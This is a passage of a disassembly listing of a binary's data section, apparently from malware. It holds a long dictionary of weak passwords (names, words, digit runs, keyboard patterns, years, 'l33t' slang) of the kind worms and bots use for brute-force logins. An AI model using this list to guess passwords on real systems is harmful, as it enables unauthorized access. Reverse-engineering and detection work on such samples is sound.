aWilliams db 'williams',0
align 4
aWillie db 'willie',0
align 4
aWilma db 'wilma',0
align 4
aWindows db 'windows',0 ; DATA XREF: .nsp0:0043BB78o
aWine db 'wine',0 ; DATA XREF: .nsp0:0043BB7Co
align 4
aWing db 'wing',0 ; DATA XREF: .nsp0:0043BB80o
align 4
aWinston db 'winston',0 ; DATA XREF: .nsp0:0043BB84o
aWired db 'wired',0 ; DATA XREF: .nsp0:0043BB88o
align 4
aWisconsi db 'wisconsi',0 ; DATA XREF: .nsp0:0043BB8Co
align 4
aWiseass db 'wiseass',0 ; DATA XREF: .nsp0:0043BB90o
aWithin db 'within',0 ; DATA XREF: .nsp0:0043BB94o
align 4
aWizard db 'wizard',0 ; DATA XREF: .nsp0:0043BB98o
align 10h
aWolf db 'wolf',0 ; DATA XREF: .nsp0:0043BB9Co
align 4
aWolverin db 'wolverin',0 ; DATA XREF: .nsp0:0043BBA0o
align 4
aWoman db 'woman',0 ; DATA XREF: .nsp0:0043BBA4o
align 4
aWombat db 'wombat',0 ; DATA XREF: .nsp0:0043BBA8o
align 4
aWomen db 'women',0 ; DATA XREF: .nsp0:0043BBACo
align 4
aWood db 'wood',0 ; DATA XREF: .nsp0:0043BBB0o
align 4
aWoodwind db 'woodwind',0 ; DATA XREF: .nsp0:0043BBB4o
align 10h
aWord db 'word',0 ; DATA XREF: .nsp0:0043BBB8o
align 4
aWordperf db 'wordperf',0 ; DATA XREF: .nsp0:0043BBBCo
align 4
aWorf db 'worf',0 ; DATA XREF: .nsp0:0043BBC0o
align 4
aWork db 'work',0 ; DATA XREF: .nsp0:0043BBC4o
align 4
aWorm db 'worm',0 ; DATA XREF: .nsp0:0043BBC8o
align 4
aWormwood db 'wormwood',0 ; DATA XREF: .nsp0:0043BBCCo
align 4
aWwii db 'wwii',0 ; DATA XREF: .nsp0:0043BBD0o
align 10h
aWyoming db 'wyoming',0 ; DATA XREF: .nsp0:0043BBD4o
aXena db 'xena',0 ; DATA XREF: .nsp0:0043BBD8o
align 10h
aXfer db 'xfer',0 ; DATA XREF: .nsp0:0043BBDCo
align 4
aXman db 'xman',0 ; DATA XREF: .nsp0:0043BBE0o
align 10h
aXmen db 'xmen',0 ; DATA XREF: .nsp0:0043BBE4o
align 4
aXmodem db 'xmodem',0 ; DATA XREF: .nsp0:0043BBE8o
align 10h
aXray db 'xray',0 ; DATA XREF: .nsp0:0043BBECo
align 4
aXyzzy db 'xyzzy',0 ; DATA XREF: .nsp0:0043BBF0o
align 10h
aYaco db 'yaco',0 ; DATA XREF: .nsp0:0043BBF4o
align 4
aYang db 'yang',0 ; DATA XREF: .nsp0:0043BBF8o
align 10h
aYankee db 'yankee',0 ; DATA XREF: .nsp0:0043BBFCo
align 4
aYellow db 'yellow',0 ; DATA XREF: .nsp0:0043BC00o
align 10h
aYellowst db 'yellowst',0 ; DATA XREF: .nsp0:0043BC04o
align 4
aYolanda db 'yolanda',0 ; DATA XREF: .nsp0:0043BC08o
aYosemite db 'yosemite',0 ; DATA XREF: .nsp0:0043BC0Co
align 10h
aYoung db 'young',0 ; DATA XREF: .nsp0:0043BC10o
align 4
aZebra db 'zebra',0 ; DATA XREF: .nsp0:0043BC14o
align 10h
aZeitgeis db 'zeitgeis',0 ; DATA XREF: .nsp0:0043BC18o
align 4
aZiggy db 'ziggy',0 ; DATA XREF: .nsp0:0043BC1Co
align 4
aZimmerma db 'zimmerma',0 ; DATA XREF: .nsp0:0043BC20o
align 10h
aZmodem db 'zmodem',0 ; DATA XREF: .nsp0:0043BC24o
align 4
aZombie db 'zombie',0 ; DATA XREF: .nsp0:0043BC28o
align 10h
aZulu db 'zulu',0 ; DATA XREF: .nsp0:0043BC2Co
align 4
a00000000 db '00000000',0 ; DATA XREF: .nsp0:0043BC30o
align 4
aTester db 'tester',0 ; DATA XREF: .nsp0:0043BC34o
align 4
aTestin db 'testin',0 ; DATA XREF: .nsp0:0043BC38o
align 4
aRoss db 'Ross',0 ; DATA XREF: .nsp0:0043BC3Co
align 4
aRosco db 'Rosco',0 ; DATA XREF: .nsp0:0043BC40o
align 4
aRoscop db 'RoscoP',0 ; DATA XREF: .nsp0:0043BC44o
align 4
aRoscopcoltrane db 'RoscoPColtrane',0 ; DATA XREF: .nsp0:0043BC48o
align 4
aLol db 'lol',0 ; DATA XREF: .nsp0:0043BC4Co
aD00d db 'd00d',0 ; DATA XREF: .nsp0:0043BC50o
align 4
aDudette db 'dudette',0 ; DATA XREF: .nsp0:0043BC54o
aDud3 db 'dud3',0 ; DATA XREF: .nsp0:0043BC58o
align 4
aAl3x db 'Al3x',0 ; DATA XREF: .nsp0:0043BC5Co
align 10h
aAlexander db 'Alexander',0 ; DATA XREF: .nsp0:0043BC60o
align 4
aDonaldduck db 'donaldduck',0 ; DATA XREF: .nsp0:0043BC64o
align 4
aWileecoyote db 'wileecoyote',0 ; DATA XREF: .nsp0:0043BC68o
aWindowz db 'windowz',0 ; DATA XREF: .nsp0:0043BC6Co
aWindoze db 'windoze',0 ; DATA XREF: .nsp0:0043BC70o
aWindose db 'windose',0 ; DATA XREF: .nsp0:0043BC74o
aBilly db 'billy',0 ; DATA XREF: .nsp0:0043BC78o
align 4
aM_2 db 'M$',0 ; DATA XREF: .nsp0:0043BC7Co
align 4
aMs db 'MS',0 ; DATA XREF: .nsp0:0043BC80o
align 4
aWindowsxp db 'WindowsXP',0 ; DATA XREF: .nsp0:0043BC84o
align 4
aWindows2k db 'windows2k',0 ; DATA XREF: .nsp0:0043BC88o
align 4
aWindowsme db 'windowsME',0 ; DATA XREF: .nsp0:0043BC8Co
align 10h
aWindows98 db 'windows98',0 ; DATA XREF: .nsp0:0043BC90o
align 4
aWindows95 db 'windows95',0 ; DATA XREF: .nsp0:0043BC94o
align 4
aWindozexp db 'windozexp',0 ; DATA XREF: .nsp0:0043BC98o
align 4
aWindoze2k db 'windoze2k',0 ; DATA XREF: .nsp0:0043BC9Co
align 10h
aWindozeme db 'windozeME',0 ; DATA XREF: .nsp0:0043BCA0o
align 4
aWindoze98 db 'windoze98',0 ; DATA XREF: .nsp0:0043BCA4o
align 4
aWindoze95 db 'windoze95',0 ; DATA XREF: .nsp0:0043BCA8o
align 4
aWh0r3 db 'wh0r3',0 ; DATA XREF: .nsp0:0043BCACo
align 4
aHo db 'ho',0 ; DATA XREF: .nsp0:0043BCB0o
align 10h
aWh0re db 'wh0re',0 ; DATA XREF: .nsp0:0043BCB4o
align 4
aHax db 'hax',0 ; DATA XREF: .nsp0:0043BCB8o
aHaxing db 'haxing',0 ; DATA XREF: .nsp0:0043BCBCo
align 4
aH4x1ng db 'h4x1ng',0 ; DATA XREF: .nsp0:0043BCC0o
align 4
aH4x0r1ng db 'h4x0r1ng',0 ; DATA XREF: .nsp0:0043BCC4o
align 4
aH4x0ring db 'h4x0ring',0 ; DATA XREF: .nsp0:0043BCC8o
align 4
aAda db 'ada',0 ; DATA XREF: .nsp0:0043BCCCo
aAlbatross db 'albatross',0 ; DATA XREF: .nsp0:0043BCD0o
align 4
aAlf db 'alf',0 ; DATA XREF: .nsp0:0043BCD4o
aAma db 'ama',0 ; DATA XREF: .nsp0:0043BCD8o
aAmorphous db 'amorphous',0 ; DATA XREF: .nsp0:0043BCDCo
align 4
aAmy db 'amy',0 ; DATA XREF: .nsp0:0043BCE0o
aAndromache db 'andromache',0 ; DATA XREF: .nsp0:0043BCE4o
align 4
aAnn db 'ann',0 ; DATA XREF: .nsp0:0043BCE8o
aAnthropogenic db 'anthropogenic',0 ; DATA XREF: .nsp0:0043BCECo
align 4
aAsd db 'asd',0 ; DATA XREF: .nsp0:0043BCF0o
aAsm db 'asm',0 ; DATA XREF: .nsp0:0043BCF4o
aAtmosphere db 'atmosphere',0 ; DATA XREF: .nsp0:0043BCF8o
align 10h
aBeethoven db 'beethoven',0 ; DATA XREF: .nsp0:0043BCFCo
align 4
aBicameral db 'bicameral',0 ; DATA XREF: .nsp0:0043BD00o
align 4
aBob db 'bob',0 ; DATA XREF: .nsp0:0043BD04o
aBsd db 'bsd',0 ; DATA XREF: .nsp0:0043BD08o
aCad db 'cad',0 ; DATA XREF: .nsp0:0043BD0Co
aCampanile db 'campanile',0 ; DATA XREF: .nsp0:0043BD10o
align 10h
aCat db 'cat',0 ; DATA XREF: .nsp0:0043BD14o
aCatherine db 'catherine',0 ; DATA XREF: .nsp0:0043BD18o
align 10h
aChemistry db 'chemistry',0 ; DATA XREF: .nsp0:0043BD1Co
align 4
aChristina db 'christina',0 ; DATA XREF: .nsp0:0043BD20o
align 4
aChristine db 'christine',0 ; DATA XREF: .nsp0:0043BD24o
align 4
aCommrades db 'commrades',0 ; DATA XREF: .nsp0:0043BD28o
align 10h
aCornelius db 'cornelius',0 ; DATA XREF: .nsp0:0043BD2Co
align 4
aDeb db 'deb',0 ; DATA XREF: .nsp0:0043BD30o
aDesperate db 'desperate',0 ; DATA XREF: .nsp0:0043BD34o
align 4
aDiscovery db 'discovery',0 ; DATA XREF: .nsp0:0043BD38o
align 4
aDog db 'dog',0 ; DATA XREF: .nsp0:0043BD3Co
aDos db 'dos',0 ; DATA XREF: .nsp0:0043BD40o
aEdinburgh db 'edinburgh',0 ; DATA XREF: .nsp0:0043BD44o
align 4
aEiderdown db 'eiderdown',0 ; DATA XREF: .nsp0:0043BD48o
align 4
aElizabeth db 'elizabeth',0 ; DATA XREF: .nsp0:0043BD4Co
align 4
aEnterprise db 'enterprise',0 ; DATA XREF: .nsp0:0043BD50o
align 10h
aEstablish db 'establish',0 ; DATA XREF: .nsp0:0043BD54o
align 4
aExtension db 'extension',0 ; DATA XREF: .nsp0:0043BD58o
align 4
aFoolproof db 'foolproof',0 ; DATA XREF: .nsp0:0043BD5Co
align 4
aForesight db 'foresight',0 ; DATA XREF: .nsp0:0043BD60o
align 10h
aFun db 'fun',0 ; DATA XREF: .nsp0:0043BD64o
aGnu db 'gnu',0 ; DATA XREF: .nsp0:0043BD68o
aHal db 'hal',0 ; DATA XREF: .nsp0:0043BD6Co
aHappening db 'happening',0 ; DATA XREF: .nsp0:0043BD70o
align 4
aIbm db 'ibm',0 ; DATA XREF: .nsp0:0043BD74o
aImbroglio db 'imbroglio',0 ; DATA XREF: .nsp0:0043BD78o
align 4
aInnocuous db 'innocuous',0 ; DATA XREF: .nsp0:0043BD7Co
align 4
aJen db 'jen',0 ; DATA XREF: .nsp0:0043BD80o
aJoy db 'joy',0 ; DATA XREF: .nsp0:0043BD84o
aKey_0 db 'key',0 ; DATA XREF: .nsp0:0043BD88o
aKim db 'kim',0 ; DATA XREF: .nsp0:0043BD8Co
aLamination db 'lamination',0 ; DATA XREF: .nsp0:0043BD90o
align 10h
aLee db 'lee',0 ; DATA XREF: .nsp0:0043BD94o
aLiz db 'liz',0 ; DATA XREF: .nsp0:0043BD98o
aMacintosh db 'macintosh',0 ; DATA XREF: .nsp0:0043BD9Co
align 4
aMgr db 'mgr',0 ; DATA XREF: .nsp0:0043BDA0o
aMit db 'mit',0 ; DATA XREF: .nsp0:0043BDA4o
aNet db 'net',0 ; DATA XREF: .nsp0:0043BDA8o
aNew db 'new',0 ; DATA XREF: .nsp0:0043BDACo
aNutrition db 'nutrition',0 ; DATA XREF: .nsp0:0043BDB0o
align 10h
aOceanography db 'oceanography',0 ; DATA XREF: .nsp0:0043BDB4o
align 10h
aPad db 'pad',0 ; DATA XREF: .nsp0:0043BDB8o
aPam db 'pam',0 ; DATA XREF: .nsp0:0043BDBCo
aPercolate db 'percolate',0 ; DATA XREF: .nsp0:0043BDC0o
align 4
aPersimmon db 'persimmon',0 ; DATA XREF: .nsp0:0043BDC4o
align 10h
aPolynomial db 'polynomial',0 ; DATA XREF: .nsp0:0043BDC8o
align 4
aPondering db 'pondering',0 ; DATA XREF: .nsp0:0043BDCCo
align 4
aPrinceton db 'princeton',0 ; DATA XREF: .nsp0:0043BDD0o
align 4
aProfessor db 'professor',0 ; DATA XREF: .nsp0:0043BDD4o
align 10h
aPub db 'pub',0 ; DATA XREF: .nsp0:0043BDD8o
aRachmaninoff db 'rachmaninoff',0 ; DATA XREF: .nsp0:0043BDDCo
align 4
aRje db 'rje',0 ; DATA XREF: .nsp0:0043BDE0o
aRochester db 'rochester',0 ; DATA XREF: .nsp0:0043BDE4o
align 4
aSal db 'sal',0 ; DATA XREF: .nsp0:0043BDE8o
aSheffield db 'sheffield',0 ; DATA XREF: .nsp0:0043BDECo
align 4
aSignature db 'signature',0 ; DATA XREF: .nsp0:0043BDF0o
align 10h
aStephanie db 'stephanie',0 ; DATA XREF: .nsp0:0043BDF4o
align 4
aStratford db 'stratford',0 ; DATA XREF: .nsp0:0043BDF8o
align 4
aStuttgart db 'stuttgart',0 ; DATA XREF: .nsp0:0043BDFCo
align 4
aSun_0 db 'sun',0 ; DATA XREF: .nsp0:0043BE00o
aSuperstage db 'superstage',0 ; DATA XREF: .nsp0:0043BE04o
align 4
aSuperuser db 'superuser',0 ; DATA XREF: .nsp0:0043BE08o
align 10h
aSupported db 'supported',0 ; DATA XREF: .nsp0:0043BE0Co
align 4
aSys db 'sys',0 ; DATA XREF: .nsp0:0043BE10o
aTangerine db 'tangerine',0 ; DATA XREF: .nsp0:0043BE14o
align 4
aTelephone db 'telephone',0 ; DATA XREF: .nsp0:0043BE18o
align 4
aTemptation db 'temptation',0 ; DATA XREF: .nsp0:0043BE1Co
align 4
aTopography db 'topography',0 ; DATA XREF: .nsp0:0043BE20o
align 10h
aTty db 'tty',0 ; DATA XREF: .nsp0:0043BE24o
aWholesale db 'wholesale',0 ; DATA XREF: .nsp0:0043BE28o
align 10h
aWilliamsburg db 'williamsburg',0 ; DATA XREF: .nsp0:0043BE2Co
align 10h
aWisconsin db 'wisconsin',0 ; DATA XREF: .nsp0:0043BE30o
align 4
aXyz db 'xyz',0 ; DATA XREF: .nsp0:0043BE34o
aYellowstone db 'yellowstone',0 ; DATA XREF: .nsp0:0043BE38o
aZap db 'zap',0 ; DATA XREF: .nsp0:0043BE3Co
aZimmerman db 'zimmerman',0 ; DATA XREF: .nsp0:0043BE40o
align 4
asc_44052C: ; DATA XREF: .nsp0:0043BE44o
unicode 0, <%>,0
asc_440530: ; DATA XREF: .nsp0:0043BE48o
unicode 0, <!>,0
a@ db '!@',0 ; DATA XREF: .nsp0:0043BE4Co
align 4
a@_0 db '!@#',0 ; DATA XREF: .nsp0:0043BE50o
a@_1 db '!@#$%',0 ; DATA XREF: .nsp0:0043BE54o
align 4
a@_2 db '!@#$%^',0 ; DATA XREF: .nsp0:0043BE58o
align 4
a@_3 db '!@#$%^&',0 ; DATA XREF: .nsp0:0043BE5Co
a@_4 db '!@#$%^&*',0 ; DATA XREF: .nsp0:0043BE60o
align 10h
asc_440560: ; DATA XREF: .nsp0:0043BE64o
unicode 0, <#>,0
asc_440564 db '!!',0 ; DATA XREF: .nsp0:0043BE68o
align 4
off_440568 dd offset loc_402121 ; DATA XREF: .nsp0:0043BE6Co
dword_44056C dd 40h ; DATA XREF: .nsp0:0043BE70o
dword_440570 dd 4040h ; DATA XREF: .nsp0:0043BE74o
dword_440574 dd 2Bh ; DATA XREF: .nsp0:0043BE78o
dword_440578 dd 2B2Bh ; DATA XREF: .nsp0:0043BE7Co
dword_44057C dd 2B2B2Bh ; DATA XREF: .nsp0:0043BE80o
dword_440580 dd 2B2B2B2Bh, 0 ; DATA XREF: .nsp0:0043BE84o
dword_440588 dd 2Dh ; DATA XREF: .nsp0:0043BE88o
dword_44058C dd 2D2Dh ; DATA XREF: .nsp0:0043BE8Co
dword_440590 dd 2D2Dh ; DATA XREF: .nsp0:0043BE90o
dword_440594 dd 2D2D2D2Dh, 0 ; DATA XREF: .nsp0:0043BE94o
dword_44059C dd 2B2Dh ; DATA XREF: .nsp0:0043BE98o
dword_4405A0 dd 2B2B2D2Dh, 0 ; DATA XREF: .nsp0:0043BE9Co
dword_4405A8 dd 302D3Dh ; DATA XREF: .nsp0:0043BEA0o
dword_4405AC dd 2B393837h, 0 ; DATA XREF: .nsp0:0043BEA4o
dword_4405B4 dd 2B363534h, 0 ; DATA XREF: .nsp0:0043BEA8o
dword_4405BC dd 24h ; DATA XREF: .nsp0:0043BEACo
dword_4405C0 dd 2424h ; DATA XREF: .nsp0:0043BEB0o
dword_4405C4 dd 242424h ; DATA XREF: .nsp0:0043BEB4o
dword_4405C8 dd 255E262Ah, 21402324h, 0 ; DATA XREF: .nsp0:0043BEB8o
dword_4405D4 dd 24255E26h, 214023h ; DATA XREF: .nsp0:0043BEBCo
dword_4405DC dd 2324255Eh, 2140h ; DATA XREF: .nsp0:0043BEC0o
dword_4405E4 dd 40232425h, 21h ; DATA XREF: .nsp0:0043BEC4o
dword_4405EC dd 21402324h, 0 ; DATA XREF: .nsp0:0043BEC8o
dword_4405F4 dd 214023h ; DATA XREF: .nsp0:0043BECCo
dword_4405F8 dd 2140h ; DATA XREF: .nsp0:0043BED0o
dword_4405FC dd 30h ; DATA XREF: .nsp0:0043BED4o
dword_440600 dd 3030h ; DATA XREF: .nsp0:0043BED8o
dword_440604 dd 303030h ; DATA XREF: .nsp0:0043BEDCo
a0000_0 db '0000',0 ; DATA XREF: .nsp0:0043BEE0o
align 10h
a00000_0 db '00000',0 ; DATA XREF: .nsp0:0043BEE4o
align 4
a000000_0 db '000000',0 ; DATA XREF: .nsp0:0043BEE8o
align 10h
a00000000_0 db '00000000',0 ; DATA XREF: .nsp0:0043BEECo
align 4
a000000000 db '000000000',0 ; DATA XREF: .nsp0:0043BEF0o
align 4
a0000000000 db '0000000000',0 ; DATA XREF: .nsp0:0043BEF4o
align 4
asc_440644: ; DATA XREF: .nsp0:0043BEF8o
unicode 0, <*>,0
asc_440648 db '**',0 ; DATA XREF: .nsp0:0043BEFCo
align 4
asc_44064C db '***',0 ; DATA XREF: .nsp0:0043BF00o
asc_440650 db '****',0 ; DATA XREF: .nsp0:0043BF04o
align 4
asc_440658 db '*****',0 ; DATA XREF: .nsp0:0043BF08o
align 10h
asc_440660 db '******',0 ; DATA XREF: .nsp0:0043BF0Co
align 4
asc_440668 db '*******',0 ; DATA XREF: .nsp0:0043BF10o
asc_440670 db '********',0 ; DATA XREF: .nsp0:0043BF14o
align 4
asc_44067C db '*********',0 ; DATA XREF: .nsp0:0043BF18o
align 4
a001_0 db '001',0 ; DATA XREF: .nsp0:0043BF1Co
a002 db '002',0 ; DATA XREF: .nsp0:0043BF20o
a003 db '003',0 ; DATA XREF: .nsp0:0043BF24o
a004 db '004',0 ; DATA XREF: .nsp0:0043BF28o
a005_0 db '005',0 ; DATA XREF: .nsp0:0043BF2Co
a006 db '006',0 ; DATA XREF: .nsp0:0043BF30o
a007 db '007',0 ; DATA XREF: .nsp0:0043BF34o
a008 db '008',0 ; DATA XREF: .nsp0:0043BF38o
a009 db '009',0 ; DATA XREF: .nsp0:0043BF3Co
a010 db '010',0 ; DATA XREF: .nsp0:0043BF40o
a0wn3d db '0wn3d',0 ; DATA XREF: .nsp0:0043BF44o
align 4
a0wned_0 db '0wned',0 ; DATA XREF: .nsp0:0043BF48o
align 10h
a1_0: ; DATA XREF: .nsp0:0043BF4Co
unicode 0, <1>,0
a11 db '11',0 ; DATA XREF: .nsp0:0043BF50o
align 4
a111_0 db '111',0 ; DATA XREF: .nsp0:0043BF54o
a1111 db '1111',0 ; DATA XREF: .nsp0:0043BF58o
align 4
a11111 db '11111',0 ; DATA XREF: .nsp0:0043BF5Co
align 4
a111111 db '111111',0 ; DATA XREF: .nsp0:0043BF60o
align 4
a1111111 db '1111111',0 ; DATA XREF: .nsp0:0043BF64o
a11111111_0 db '11111111',0 ; DATA XREF: .nsp0:0043BF68o
align 4
a111111111 db '111111111',0 ; DATA XREF: .nsp0:0043BF6Co
align 4
a1111111111 db '1111111111',0 ; DATA XREF: .nsp0:0043BF70o
align 10h
a2: ; DATA XREF: .nsp0:0043BF74o
unicode 0, <2>,0
a22 db '22',0 ; DATA XREF: .nsp0:0043BF78o
align 4
a222 db '222',0 ; DATA XREF: .nsp0:0043BF7Co
a2222 db '2222',0 ; DATA XREF: .nsp0:0043BF80o
align 4
a22222 db '22222',0 ; DATA XREF: .nsp0:0043BF84o
align 4
a222222 db '222222',0 ; DATA XREF: .nsp0:0043BF88o
align 4
a2222222 db '2222222',0 ; DATA XREF: .nsp0:0043BF8Co
a22222222 db '22222222',0 ; DATA XREF: .nsp0:0043BF90o
align 4
a222222222 db '222222222',0 ; DATA XREF: .nsp0:0043BF94o
align 4
a2222222222 db '2222222222',0 ; DATA XREF: .nsp0:0043BF98o
align 10h
a3: ; DATA XREF: .nsp0:0043BF9Co
unicode 0, <3>,0
a33 db '33',0 ; DATA XREF: .nsp0:0043BFA0o
align 4
a333 db '333',0 ; DATA XREF: .nsp0:0043BFA4o
a3333 db '3333',0 ; DATA XREF: .nsp0:0043BFA8o
align 4
a33333 db '33333',0 ; DATA XREF: .nsp0:0043BFACo
align 4
a333333 db '333333',0 ; DATA XREF: .nsp0:0043BFB0o
align 4
a3333333 db '3333333',0 ; DATA XREF: .nsp0:0043BFB4o
a33333333 db '33333333',0 ; DATA XREF: .nsp0:0043BFB8o
align 4
a333333333 db '333333333',0 ; DATA XREF: .nsp0:0043BFBCo
align 4
a3333333333 db '3333333333',0 ; DATA XREF: .nsp0:0043BFC0o
align 10h
a4: ; DATA XREF: .nsp0:0043BFC4o
unicode 0, <4>,0
a44 db '44',0 ; DATA XREF: .nsp0:0043BFC8o
align 4
a444 db '444',0 ; DATA XREF: .nsp0:0043BFCCo
a4444 db '4444',0 ; DATA XREF: .nsp0:0043BFD0o
align 4
a44444 db '44444',0 ; DATA XREF: .nsp0:0043BFD4o
align 4
a444444 db '444444',0 ; DATA XREF: .nsp0:0043BFD8o
align 4
a4444444 db '4444444',0 ; DATA XREF: .nsp0:0043BFDCo
a44444444 db '44444444',0 ; DATA XREF: .nsp0:0043BFE0o
align 4
a444444444 db '444444444',0 ; DATA XREF: .nsp0:0043BFE4o
align 4
a4444444444 db '4444444444',0 ; DATA XREF: .nsp0:0043BFE8o
align 10h
a5: ; DATA XREF: .nsp0:0043BFECo
unicode 0, <5>,0
a55 db '55',0 ; DATA XREF: .nsp0:0043BFF0o
align 4
a555 db '555',0 ; DATA XREF: .nsp0:0043BFF4o
a5555 db '5555',0 ; DATA XREF: .nsp0:0043BFF8o
align 4
a55555 db '55555',0 ; DATA XREF: .nsp0:0043BFFCo
align 4
a555555 db '555555',0 ; DATA XREF: .nsp0:0043C000o
align 4
a5555555 db '5555555',0 ; DATA XREF: .nsp0:0043C004o
a55555555 db '55555555',0 ; DATA XREF: .nsp0:0043C008o
align 4
a555555555 db '555555555',0 ; DATA XREF: .nsp0:0043C00Co
align 4
a5555555555 db '5555555555',0 ; DATA XREF: .nsp0:0043C010o
align 10h
a6: ; DATA XREF: .nsp0:0043C014o
unicode 0, <6>,0
a66 db '66',0 ; DATA XREF: .nsp0:0043C018o
align 4
a666 db '666',0 ; DATA XREF: .nsp0:0043C01Co
a6666 db '6666',0 ; DATA XREF: .nsp0:0043C020o
align 4
a66666 db '66666',0 ; DATA XREF: .nsp0:0043C024o
align 4
a666666 db '666666',0 ; DATA XREF: .nsp0:0043C028o
align 4
a6666666 db '6666666',0 ; DATA XREF: .nsp0:0043C02Co
a66666666 db '66666666',0 ; DATA XREF: .nsp0:0043C030o
align 4
a666666666 db '666666666',0 ; DATA XREF: .nsp0:0043C034o
align 4
a6666666666 db '6666666666',0 ; DATA XREF: .nsp0:0043C038o
align 10h
a7: ; DATA XREF: .nsp0:0043C03Co
unicode 0, <7>,0
a77 db '77',0 ; DATA XREF: .nsp0:0043C040o
align 4
a777 db '777',0 ; DATA XREF: .nsp0:0043C044o
a7777 db '7777',0 ; DATA XREF: .nsp0:0043C048o
align 4
a77777 db '77777',0 ; DATA XREF: .nsp0:0043C04Co
align 4
a777777 db '777777',0 ; DATA XREF: .nsp0:0043C050o
align 4
a7777777 db '7777777',0 ; DATA XREF: .nsp0:0043C054o
a77777777 db '77777777',0 ; DATA XREF: .nsp0:0043C058o
align 4
a777777777 db '777777777',0 ; DATA XREF: .nsp0:0043C05Co
align 4
a7777777777 db '7777777777',0 ; DATA XREF: .nsp0:0043C060o
align 10h
a8: ; DATA XREF: .nsp0:0043C064o
unicode 0, <8>,0
a88 db '88',0 ; DATA XREF: .nsp0:0043C068o
align 4
a888 db '888',0 ; DATA XREF: .nsp0:0043C06Co
a8888 db '8888',0 ; DATA XREF: .nsp0:0043C070o
align 4
a88888 db '88888',0 ; DATA XREF: .nsp0:0043C074o
align 4
a888888 db '888888',0 ; DATA XREF: .nsp0:0043C078o
align 4
a8888888 db '8888888',0 ; DATA XREF: .nsp0:0043C07Co
a88888888_0 db '88888888',0 ; DATA XREF: .nsp0:0043C080o
align 4
a888888888 db '888888888',0 ; DATA XREF: .nsp0:0043C084o
align 4
a8888888888 db '8888888888',0 ; DATA XREF: .nsp0:0043C088o
align 10h
a9: ; DATA XREF: .nsp0:0043C08Co
unicode 0, <9>,0
a99 db '99',0 ; DATA XREF: .nsp0:0043C090o
align 4
a999 db '999',0 ; DATA XREF: .nsp0:0043C094o
a9999 db '9999',0 ; DATA XREF: .nsp0:0043C098o
align 4
a99999 db '99999',0 ; DATA XREF: .nsp0:0043C09Co
align 4
a999999 db '999999',0 ; DATA XREF: .nsp0:0043C0A0o
align 4
a9999999 db '9999999',0 ; DATA XREF: .nsp0:0043C0A4o
a99999999 db '99999999',0 ; DATA XREF: .nsp0:0043C0A8o
align 4
a999999999 db '999999999',0 ; DATA XREF: .nsp0:0043C0ACo
align 4
a9999999999 db '9999999999',0 ; DATA XREF: .nsp0:0043C0B0o
align 10h
a110 db '110',0 ; DATA XREF: .nsp0:0043C0B4o
a7410 db '7410',0 ; DATA XREF: .nsp0:0043C0B8o
align 4
a0147 db '0147',0 ; DATA XREF: .nsp0:0043C0BCo
align 4
a1122 db '1122',0 ; DATA XREF: .nsp0:0043C0C0o
align 4
a456 db '456',0 ; DATA XREF: .nsp0:0043C0C4o
a654 db '654',0 ; DATA XREF: .nsp0:0043C0C8o
a789 db '789',0 ; DATA XREF: .nsp0:0043C0CCo
a987 db '987',0 ; DATA XREF: .nsp0:0043C0D0o
a8520 db '8520',0 ; DATA XREF: .nsp0:0043C0D4o
align 4
a0258 db '0258',0 ; DATA XREF: .nsp0:0043C0D8o
align 4
a1020 db '1020',0 ; DATA XREF: .nsp0:0043C0DCo
align 4
a12_0 db '12',0 ; DATA XREF: .nsp0:0043C0E0o
align 4
a121 db '121',0 ; DATA XREF: .nsp0:0043C0E4o
a121212 db '121212',0 ; DATA XREF: .nsp0:0043C0E8o
align 4
a123_0 db '123',0 ; DATA XREF: .nsp0:0043C0ECo
a123123 db '123123',0 ; DATA XREF: .nsp0:0043C0F0o
align 10h
a1234_0 db '1234',0 ; DATA XREF: .nsp0:0043C0F4o
align 4
a12345_0 db '12345',0 ; DATA XREF: .nsp0:0043C0F8o
align 10h
a123456_0 db '123456',0 ; DATA XREF: .nsp0:0043C0FCo
align 4
a1234567_0 db '1234567',0 ; DATA XREF: .nsp0:0043C100o
a12345678_0 db '12345678',0 ; DATA XREF: .nsp0:0043C104o
align 4
a123456789_0 db '123456789',0 ; DATA XREF: .nsp0:0043C108o
align 4
a12346 db '12346',0 ; DATA XREF: .nsp0:0043C10Co
align 10h
a123467 db '123467',0 ; DATA XREF: .nsp0:0043C110o
align 4
a1234678 db '1234678',0 ; DATA XREF: .nsp0:0043C114o
a12346789 db '12346789',0 ; DATA XREF: .nsp0:0043C118o
align 4
a123467890 db '123467890',0 ; DATA XREF: .nsp0:0043C11Co
align 4
a1qwer db '1qwer',0 ; DATA XREF: .nsp0:0043C120o
align 10h
a1abc db '1abc',0 ; DATA XREF: .nsp0:0043C124o
align 4
a1asd db '1asd',0 ; DATA XREF: .nsp0:0043C128o
align 10h
a1qwe db '1qwe',0 ; DATA XREF: .nsp0:0043C12Co
align 4
a12qwer db '12qwer',0 ; DATA XREF: .nsp0:0043C130o
align 10h
a12abc db '12abc',0 ; DATA XREF: .nsp0:0043C134o
align 4
a12asd db '12asd',0 ; DATA XREF: .nsp0:0043C138o
align 10h
a12qwe db '12qwe',0 ; DATA XREF: .nsp0:0043C13Co
align 4
a123qwer db '123qwer',0 ; DATA XREF: .nsp0:0043C140o
a123abc db '123abc',0 ; DATA XREF: .nsp0:0043C144o
align 4
a123asd db '123asd',0 ; DATA XREF: .nsp0:0043C148o
align 10h
a123qwe_0 db '123qwe',0 ; DATA XREF: .nsp0:0043C14Co
align 4
a1234qwer db '1234qwer',0 ; DATA XREF: .nsp0:0043C150o
align 4
a1234abc db '1234abc',0 ; DATA XREF: .nsp0:0043C154o
a1234asd db '1234asd',0 ; DATA XREF: .nsp0:0043C158o
a1234qwe db '1234qwe',0 ; DATA XREF: .nsp0:0043C15Co
a1952 db '1952',0 ; DATA XREF: .nsp0:0043C160o
align 4
a1953 db '1953',0 ; DATA XREF: .nsp0:0043C164o
align 4
a1954 db '1954',0 ; DATA XREF: .nsp0:0043C168o
align 4
a1955 db '1955',0 ; DATA XREF: .nsp0:0043C16Co
align 4
a1956 db '1956',0 ; DATA XREF: .nsp0:0043C170o
align 4
a1957 db '1957',0 ; DATA XREF: .nsp0:0043C174o
align 4
a1958 db '1958',0 ; DATA XREF: .nsp0:0043C178o
align 4
a1959 db '1959',0 ; DATA XREF: .nsp0:0043C17Co
align 4
a1960 db '1960',0 ; DATA XREF: .nsp0:0043C180o
align 4
a1961 db '1961',0 ; DATA XREF: .nsp0:0043C184o
align 4
a1962 db '1962',0 ; DATA XREF: .nsp0:0043C188o
align 4
a1963 db '1963',0 ; DATA XREF: .nsp0:0043C18Co
align 4
